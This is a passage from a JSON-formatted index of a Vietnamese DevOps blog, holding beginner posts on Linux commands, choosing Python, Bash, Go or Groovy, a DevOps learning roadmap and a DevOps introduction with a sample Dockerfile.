dụng và phần cứng, xử lý các nhiệm vụ như:\nQuản lý bộ nhớ. Lập lịch tiến trình. Quản lý hệ thống file. Kiểm soát thiết bị. Các hệ điều hành phổ biến: Máy tính cá nhân: Windows, macOS, Linux (Ubuntu, Fedora,\u0026hellip;) Thiết bị di động: iOS, Android Máy chủ: Ubuntu Server, Red Hat Enterprise Linux, Windows Server Mỗi hệ điều hành có đặc điểm, giao diện và khả năng tương thích khác nhau. Chúng đóng vai trò quan trọng trong bảo mật hệ thống, tối ưu hiệu suất và cung cấp trải nghiệm người dùng nhất quán.\nCác lệnh Linux cơ bản Dưới đây là một số lệnh Linux quan trọng:\nKiểm tra hệ thống 1 2 3 uname -a # Hiển thị thông tin hệ điều hành uptime # Thời gian hoạt động của hệ thống free -m # Kiểm tra bộ nhớ RAM Quản lý file \u0026amp; thư mục 1 2 3 ls -l # Liệt kê file với thông tin chi tiết mkdir mydir # Tạo thư mục mới rm -rf mydir # Xóa thư mục và nội dung bên trong Quản lý tiến trình 1 2 3 top # Hiển thị tiến trình đang chạy ps aux # Liệt kê tất cả tiến trình kill -9 PID # Dừng tiến trình theo PID Quản lý người dùng 1 2 3 whoami # Xem user hiện tại sudo useradd devops # Tạo user mới sudo passwd devops # Đặt mật khẩu cho user Script Bash kiểm tra tài nguyên hệ thống 1 2 3 4 5 6 7 8 9 10 #!/bin/bash echo \u0026#34;==== Thông tin hệ thống ====\u0026#34; uname -a echo \u0026#34;==== Thời gian hoạt động ====\u0026#34; uptime echo \u0026#34;==== Bộ nhớ RAM ====\u0026#34; free -m Cách chạy script: 1 2 chmod +x system_check.sh # Cấp quyền thực thi cho script ./system_check.sh # Chạy script trong terminal Tài nguyên học tập Dưới đây là một số tài nguyên miễn phí để tìm hiểu thêm về hệ điều hành:\nOperating Systems - Wiki All you need to know about OS Learn Operating Systems What are Operating Systems? Operating Systems Kết luận Linux là kỹ năng bắt buộc trong DevOps. Học cách dùng terminal \u0026amp; Bash scripting. Bước tiếp theo: Tìm hiểu sâu hơn về terminal và cách sử dụng CLI để làm việc hiệu quả với hệ thống.\n","date":"22/02/2025","image":"https://tech.nguuyen.io.vn/images/devops/devops-step-two.webp","permalink":"/vi/posts/devops/devops-step-two/","summary":"Bài viết hướng dẫn học Linux và hệ điều hành dành cho DevOps. Bao gồm các lệnh Linux cơ bản, quản lý tiến trình, người dùng, file system, và một script Bash kiểm tra tài nguyên hệ thống.","tags":["devops","linux","bash"],"title":"Học về Linux \u0026 Hệ Điều Hành "},{"categories":["DevOps"],"content":"Tại sao cần chọn ngôn ngữ lập trình? Trong DevOps, bạn sẽ cần sử dụng ngôn ngữ lập trình để:\nViết script tự động hóa. Quản lý server và cloud. Tạo tool hỗ trợ CI/CD. Xây dựng và triển khai hạ tầng dưới dạng code (Infrastructure as Code - IaC). Việc chọn ngôn ngữ phù hợp giúp bạn làm việc hiệu quả hơn với hệ thống, tự động hóa nhiều quy trình và cải thiện tốc độ phát triển phần mềm.\nNgôn ngữ phù hợp cho DevOps Python (Khuyến nghị chính) ** Lý do chọn Python:** Cú pháp dễ đọc, dễ học. Thư viện phong phú hỗ trợ tự động hóa như fabric, paramiko, boto3 (AWS SDK), pyinfra. Hỗ trợ mạnh mẽ trong quản lý Cloud (AWS, GCP, Azure). ** Ứng dụng thực tế:** Viết script deploy code tự động. Tạo bot quản lý server. Xây dựng API quản lý hệ thống. ** Ví dụ: Script SSH tự động deploy với Paramiko** 1 2 3 4 5 6 7 8 9 10 11 import paramiko def deploy_code(host, user, password, command): client = paramiko.SSHClient() client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) client.connect(hostname=host, username=user, password=password) stdin, stdout, stderr = client.exec_command(command) print(stdout.read().decode()) client.close() deploy_code(\u0026#39;192.168.1.100\u0026#39;, \u0026#39;ubuntu\u0026#39;, \u0026#39;yourpassword\u0026#39;, \u0026#39;git pull origin main \u0026amp;\u0026amp; systemctl restart app\u0026#39;) Bash (Cần biết cơ bản) ** Lý do chọn Bash:** Là shell script phổ biến nhất trên Linux. Giúp bạn thao tác nhanh với hệ thống. Tối ưu cho quản lý server và tự động hóa task nhỏ. ** Ứng dụng thực tế:** Viết script tự động update server. Tạo cron job chạy định kỳ. Quản lý user và permission trên Linux. ** Ví dụ: Script tự động update server** 1 2 #!/bin/bash sudo apt update \u0026amp;\u0026amp; sudo apt upgrade -y Go (Golang) (Nếu làm với Kubernetes) ** Lý do chọn Go:** Hiệu suất cao, dễ dàng biên dịch thành binary nhỏ gọn. Kubernetes và nhiều công cụ DevOps như Terraform được viết bằng Go. ** Ứng dụng thực tế:** Viết tool quản lý container. Tạo plugin cho Kubernetes. Xây dựng các công cụ DevOps riêng. ** Ví dụ: In ra thông tin hệ thống bằng Go** 1 2 3 4 5 6 7 8 9 10 package main import ( \u0026#34;fmt\u0026#34; \u0026#34;os\u0026#34; ) func main() { hostname, _ := os.Hostname() fmt.Println(\u0026#34;Hostname:\u0026#34;, hostname) } Groovy (Nếu làm việc với Jenkins) ** Lý do chọn Groovy:** Là ngôn ngữ chính để viết pipeline trong Jenkins. Cú pháp linh hoạt, dễ dàng mở rộng và tích hợp với Java. ** Ứng dụng thực tế:** Viết pipeline CI/CD cho Jenkins. Tạo script quản lý hệ thống. Tự động hóa các bước build, test, deploy. ** Ví dụ: Pipeline cơ bản trong Jenkinsfile** 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 pipeline { agent any stages { stage(\u0026#39;Build\u0026#39;) { steps { echo \u0026#39;Building the project...\u0026#39; sh \u0026#39;mvn clean package\u0026#39; } } stage(\u0026#39;Test\u0026#39;) { steps { echo \u0026#39;Running tests...\u0026#39; sh \u0026#39;mvn test\u0026#39; } } stage(\u0026#39;Deploy\u0026#39;) { steps { echo \u0026#39;Deploying application...\u0026#39; sh \u0026#39;./deploy.sh\u0026#39; } } } } Kết luận Python + Bash là lựa chọn tốt nhất để bắt đầu DevOps. Nếu làm việc với Kubernetes, học thêm Go. Nếu làm việc với Jenkins, học Groovy để viết pipeline. Bước tiếp theo: Học cơ bản về Linux \u0026amp; hệ điều hành.\n","date":"21/02/2025","image":"https://tech.nguuyen.io.vn/images/devops/devops-step-one.webp","permalink":"/vi/posts/devops/devops-step-one/","summary":"Bài viết hướng dẫn chọn ngôn ngữ lập trình phù hợp cho DevOps, bao gồm Python, Bash, Go và Groovy. Nó giải thích lý do chọn từng ngôn ngữ và cung cấp các ví dụ code thực tế như script tự động deploy với Python, cập nhật server với Bash, hiển thị thông tin hệ thống bằng Go và viết pipeline với Groovy. Kết luận khuyến nghị học Python + Bash để bắt đầu và bổ sung Go hoặc Groovy nếu làm việc với Kubernetes hoặc Jenkins.","tags":["devops","code"],"title":"Chọn ngôn ngữ lập trình"},{"categories":["DevOps"],"content":"Hiểu về DevOps DevOps là sự kết hợp giữa phát triển phần mềm (development) và vận hành hệ thống (operations), nhằm tăng cường sự hợp tác và tự động hóa trong quy trình phát triển và triển khai phần mềm.\nHọc một ngôn ngữ lập trình Việc thành thạo ít nhất một ngôn ngữ lập trình là cần thiết để tự động hóa và quản lý hệ thống hiệu quả.\nNgôn ngữ phổ biến\nPython Go Ruby Nắm vững kiến thức về hệ điều hành Linux: Hệ điều hành phổ biến trong môi trường server. Windows: Quan trọng trong các doanh nghiệp sử dụng hạ tầng Microsoft. Tìm hiểu về mạng máy tính và bảo mật Các chủ đề cần quan tâm:\nGiao thức mạng: HTTP, HTTPS, FTP, TCP/IP. Bảo mật mạng: Tường lửa, VPN, SSL/TLS. Sử dụng các công cụ quản lý mã nguồn Quản lý mã nguồn hiệu quả là yếu tố quan trọng trong DevOps.\nGit: Hệ thống quản lý phiên bản phổ biến. Hiểu về quản lý cấu hình và hạ tầng như mã Tự động hóa cấu hình giúp duy trì sự nhất quán và hiệu quả.\nAnsible: Công cụ tự động hóa. Terraform: Quản lý hạ tầng bằng cách định nghĩa nó trong mã nguồn. Thành thạo containerization và orchestration Docker: Nền tảng container phổ biến. Kubernetes: Hệ thống điều phối container mạnh mẽ. Thiết lập và quản lý CI/CD Jenkins: Máy chủ tự động hóa mã nguồn mở. GitLab CI/CD: Hỗ trợ CI/CD hiệu quả. Giám sát và logging Prometheus: Hệ thống giám sát. ELK stack: Bộ công cụ phân tích log. Tìm hiểu về dịch vụ đám mây Nhà cung cấp phổ biến:\nAWS Google Cloud Microsoft Azure Kết luận Trở thành một kỹ sư DevOps đòi hỏi kiến thức rộng và kỹ năng thực hành sâu. Hãy liên tục học hỏi và thực hành để đạt được mục tiêu của bạn.\nLưu ý: Lộ trình này được tổng hợp từ nhiều nguồn và kinh nghiệm thực tế, nhằm mang đến cho bạn cái nhìn tổng quan và chi tiết nhất về con đường trở thành kỹ sư DevOps.\nDevOps Roadmap 2025 ","date":"20/02/2025","image":"https://tech.nguuyen.io.vn/images/devops/devops-roadmap.webp","permalink":"/vi/posts/devops/devops-roadmap/","summary":"Lộ trình này được thiết kế dựa trên các nguồn thực tế và kinh nghiệm trong ngành, nhằm cung cấp cho bạn một hướng dẫn chi tiết để trở thành một kỹ sư DevOps chuyên nghiệp.","tags":["devops"],"title":"Lộ trình trở thành DevOps engineer"},{"categories":["DevOps"],"content":"Giới thiệu về DevOps? DevOps là một phương pháp kết hợp giữa phát triển phần mềm (Development - Dev) và vận hành hệ thống (Operations - Ops) nhằm tối ưu hóa quá trình phát triển, triển khai và vận hành ứng dụng. DevOps giúp các nhóm phát triển và vận hành làm việc cùng nhau hiệu quả hơn thông qua các công cụ, quy trình tự động và văn hóa làm việc.\nVì sao DevOps quan trọng? Tăng tốc độ phát triển DevOps giúp tự động hóa các quy trình như kiểm thử, triển khai và giám sát, giúp rút ngắn thời gian đưa sản phẩm ra thị trường.\nCải thiện chất lượng sản phẩm Việc tích hợp kiểm thử tự động và CI/CD giúp phát hiện lỗi sớm, giảm thiểu rủi ro khi triển khai phần mềm.\nTăng cường độ tin cậy Các công cụ giám sát và logging giúp phát hiện sự cố nhanh chóng, giảm downtime và đảm bảo hệ thống luôn hoạt động ổn định.\nHợp tác tốt hơn giữa các nhóm DevOps giúp phá bỏ rào cản giữa nhóm phát triển và vận hành, tạo môi trường làm việc chung hiệu quả hơn.\nCác thành phần chính của DevOps CI/CD (Continuous Integration \u0026amp; Continuous Deployment) CI/CD giúp tự động hóa quá trình tích hợp mã nguồn, kiểm thử và triển khai, giảm thiểu lỗi khi đưa sản phẩm lên môi trường production.\nInfrastructure as Code (IaC) IaC cho phép quản lý hạ tầng như code, giúp dễ dàng triển khai và mở rộng hệ thống.\nGiám sát và Logging Các công cụ như Prometheus, Grafana, ELK Stack giúp giám sát và phân tích log để nhanh chóng xử lý sự cố.\nContainerization và Orchestration Docker và Kubernetes giúp đóng gói, quản lý và mở rộng ứng dụng linh hoạt.\nCác công cụ phổ biến trong DevOps CI/CD: Jenkins, GitHub Actions, GitLab CI/CD IaC: Terraform, Ansible, CloudFormation Giám sát: Prometheus, Grafana, ELK Stack Container \u0026amp; Orchestration: Docker, Kubernetes Quản lý mã nguồn: Git, GitHub, GitLab Kết luận DevOps là một phương pháp quan trọng giúp cải thiện tốc độ phát triển, chất lượng sản phẩm và tối ưu hóa vận hành hệ thống. Trong các bài viết tiếp theo của series, chúng ta sẽ tìm hiểu sâu hơn về từng khía cạnh của DevOps, từ CI/CD, Infrastructure as Code đến giám sát hệ thống.\nVí dụ về Docker 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 # Sử dụng Node.js làm nền tảng FROM node:18 # Đặt thư mục làm việc trong container WORKDIR /app # Sao chép file package.json và cài đặt dependencies COPY package.json . RUN npm install # Sao chép toàn bộ mã nguồn vào container COPY . . # Mở cổng 3000 cho ứng dụng EXPOSE 3000 # Lệnh chạy ứng dụng CMD [\u0026#34;npm\u0026#34;, \u0026#34;start\u0026#34;] Hãy theo dõi blog để cập nhật các bài viết mới nhất về DevOps!\n","date":"19/02/2025","image":"https://tech.nguuyen.io.vn/images/devops/devops-intro.webp","permalink":"/vi/posts/devops/devops-intro/","summary":"Giới thiệu tổng quan về DevOps, lợi ích, các thành phần chính và công cụ phổ biến.","tags":["devops"],"title":"Devops là gì ?"}]